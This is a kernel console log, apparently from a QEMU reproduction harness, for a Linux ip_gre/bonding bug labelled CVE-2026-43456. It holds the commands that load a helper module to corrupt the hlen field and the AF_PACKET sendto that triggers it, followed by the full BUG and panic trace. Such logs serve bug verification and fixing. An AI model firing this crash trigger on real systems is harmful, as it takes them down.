hlen=0 needed=20 headroom=160 link/gre 10.0.0.1 brd 0.0.0.0 promiscuity 0 allmulti 0 minmtu 68 maxmtu 65535 bond mode active-backup active_slave gre1 miimon 0 updelay 0 downdelay 0 peer_notify_delay 0 use_carrier 1 arp_interval 0 arp_missed_max 2 arp_validate none arp_all_targets any primary_reselect always fail_over_mac active xmit_hash_policy layer2 resend_igmp 1 num_grat_arp 1 all_slaves_active 0 min_links 0 lp_interval 1 packets_per_slave 1 lacp_active on lacp_rate slow ad_select stable tlb_dynamic_lb 1 addrgenmode eui64 numtxqueues 16 numrxqueues 16 gso_max_size 65536 gso_max_segs 65535 tso_max_size 65536 tso_max_segs 65535 gro_max_size 65536 [init] cmd: /sbin/ip -d link show gre1 2>&1 || true 9: gre1@NONE: mtu 1500 qdisc noqueue master bond1 state UNKNOWN mode DEFAULT group default qlen 1000 link/gre 10.0.0.1 brd 0.0.0.0 promiscuity 0 allmulti 0 minmtu 0 maxmtu 0 gre remote any local 10.0.0.1 ttl inherit bond_slave state ACTIVE mii_status UP link_failure_count 0 perm_hwaddr 0a:00:00:01 queue_id 0 prio 0 addrgenmode eui64 numtxqueues 1 numrxqueues 1 gso_max_size 65536 gso_max_segs 65535 tso_max_size 65536 tso_max_segs 65535 gro_max_size 65536 [init] STEP: load populate_hlen helper (writes 0x961a63cc into the confused [init] ip_tunnel.hlen field of netdev_priv(bond1), emulating the [init] reporter's layout where that offset held a kernel pointer). [init] cmd: /sbin/insmod /root/mods/populate_hlen.ko 2>&1 || /sbin/modprobe populate_hlen 2>&1 || true [ 12.898691] populate_hlen: loading out-of-tree module taints kernel. [ 12.905905] CVE-2026-43456 POP: bond1 priv=ffff888103ea89c0 ip_tunnel.hlen offset=160 old=0x00000000(0) new=0x961a63cc(-1776655412) [init] STEP: fire AF_PACKET SOCK_DGRAM on bond1 -> dev_hard_header(bond1) [init] TRIGGER: AF_PACKET SOCK_DGRAM sendto(bond1) -- vuln kernel should BUG/panic here [ 13.065140] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=-1776655412 needed=-1776655392 headroom=160 [ 13.066245] ------------[ cut here ]------------ [ 13.066414] kernel BUG at net/core/skbuff.c:2306! [ 13.067280] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI [ 13.068082] CPU: 1 UID: 0 PID: 1 Comm: init Tainted: G O 7.0.0-rc2 #1 PREEMPT(lazy) [ 13.068442] Tainted: [O]=OOT_MODULE [ 13.068548] Hardware name: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014 [ 13.068978] RIP: 0010:pskb_expand_head+0x59c/0x6d0 [ 13.069472] Code: 46 0b ff 48 8b 3d 84 50 5f 01 4c 89 e6 e8 bc f5 07 ff e9 89 fc ff ff 90 0f 0b 90 e9 95 fe ff ff 4c 8d 60 ff e9 06 ff ff ff 90 <0f> 0b 90 0f 0b 90 e9 80 fe ff ff 90 0f 0b 48 89 df e8 0e b4 ff ff [ 13.070061] RSP: 0018:ffff88810028f9d8 EFLAGS: 00010282 [ 13.070347] RAX: 0000000000000180 RBX: ffff888103c71b80 RCX: dffffc0000000000 [ 13.070546] RDX: 0000000000000007 RSI: ffffffff8261a4ea RDI: ffff888103c71c3c [ 13.070830] RBP: ffff888103c71c3c R08: ffffffff8136ab15 R09: fffffbfff079a42c [ 13.071090] R10: 0000000000000003 R11: 0000000000000001 R12: 00000000961a64c0 [ 13.071327] R13: ffff88810028fdfc R14: 0000000000000820 R15: 00000000961a6340 [ 13.071559] FS: 000000002f5c4400(0000) GS:ffff888196242000(0000) knlGS:0000000000000000 [ 13.071915] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 13.072135] CR2: 000055ab0fc36160 CR3: 0000000102653000 CR4: 00000000000006f0 [ 13.072393] Call Trace: [ 13.072586] [ 13.072799] ? __pfx__printk+0x10/0x10 [ 13.073052] ? __pfx_pskb_expand_head+0x10/0x10 [ 13.073253] ipgre_header+0xf0/0x320 [ip_gre] [ 13.074229] packet_sendmsg+0x1dee/0x2450 [ 13.074513] ? selinux_socket_sendmsg+0xd5/0x1d0 [ 13.074679] ? __pfx_selinux_socket_sendmsg+0x10/0x10 [ 13.074901] ? __pfx_packet_sendmsg+0x10/0x10 [ 13.075084] __sys_sendto+0x2bb/0x2d0 [ 13.075214] ? __pfx___sys_sendto+0x10/0x10 [ 13.075339] ? __sys_bind+0x166/0x1a0 [ 13.075458] ? ksys_write+0xe1/0x160 [ 13.075563] ? __pfx_ksys_write+0x10/0x10 [ 13.075702] __x64_sys_sendto+0x71/0x90 [ 13.075881] do_syscall_64+0xe2/0x570 [ 13.076041] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 13.076246] RIP: 0033:0x453516 [ 13.076447] Code: 47 ba 04 00 00 00 48 c7 c0 f0 ff ff ff 64 89 10 48 c7 c2 ff ff ff ff c9 48 89 d0 c3 0f 1f 84 00 00 00 00 00 48 8b 45 10 0f 05 <48> 89 c2 48 3d 00 f0 ff ff 77 0f c9 48 89 d0 c3 66 2e 0f 1f 84 00 [ 13.076922] RSP: 002b:00007fff96970ba0 EFLAGS: 00000202 ORIG_RAX: 000000000000002c [ 13.077197] RAX: ffffffffffffffda RBX: 0000000000000003 RCX: 0000000000453516 [ 13.077363] RDX: 0000000000000040 RSI: 00007fff96970c20 RDI: 0000000000000003 [ 13.077518] RBP: 00007fff96970bb0 R08: 00007fff96970bf0 R09: 0000000000000014 [ 13.078304] R10: 0000000000000000 R11: 0000000000000202 R12: 000000000000000a [ 13.078652] R13: 00007fff96970dc0 R14: 0000000000000002 R15: 00000000004b0160 [ 13.079097] [ 13.079243] Modules linked in: populate_hlen(O) ip_gre gre dummy bonding [ 13.080352] ---[ end trace 0000000000000000 ]--- [ 13.080732] RIP: 0010:pskb_expand_head+0x59c/0x6d0 [ 13.080910] Code: 46 0b ff 48 8b 3d 84 50 5f 01 4c 89 e6 e8 bc f5 07 ff e9 89 fc ff ff 90 0f 0b 90 e9 95 fe ff ff 4c 8d 60 ff e9 06 ff ff ff 90 <0f> 0b 90 0f 0b 90 e9 80 fe ff ff 90 0f 0b 48 89 df e8 0e b4 ff ff [ 13.083548] RSP: 0018:ffff88810028f9d8 EFLAGS: 00010282 [ 13.083899] RAX: 0000000000000180 RBX: ffff888103c71b80 RCX: dffffc0000000000 [ 13.084188] RDX: 0000000000000007 RSI: ffffffff8261a4ea RDI: ffff888103c71c3c [ 13.084366] RBP: ffff888103c71c3c R08: ffffffff8136ab15 R09: fffffbfff079a42c [ 13.084527] R10: 0000000000000003 R11: 0000000000000001 R12: 00000000961a64c0 [ 13.084708] R13: ffff88810028fdfc R14: 0000000000000820 R15: 00000000961a6340 [ 13.084880] FS: 000000002f5c4400(0000) GS:ffff888196242000(0000) knlGS:0000000000000000 [ 13.085745] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 13.085908] CR2: 000055ab0fc36160 CR3: 0000000102653000 CR4: 00000000000006f0 [ 13.086370] Kernel panic - not syncing: Fatal exception [ 13.088105] Kernel Offset: disabled [ 13.088341] Rebooting in 1 seconds..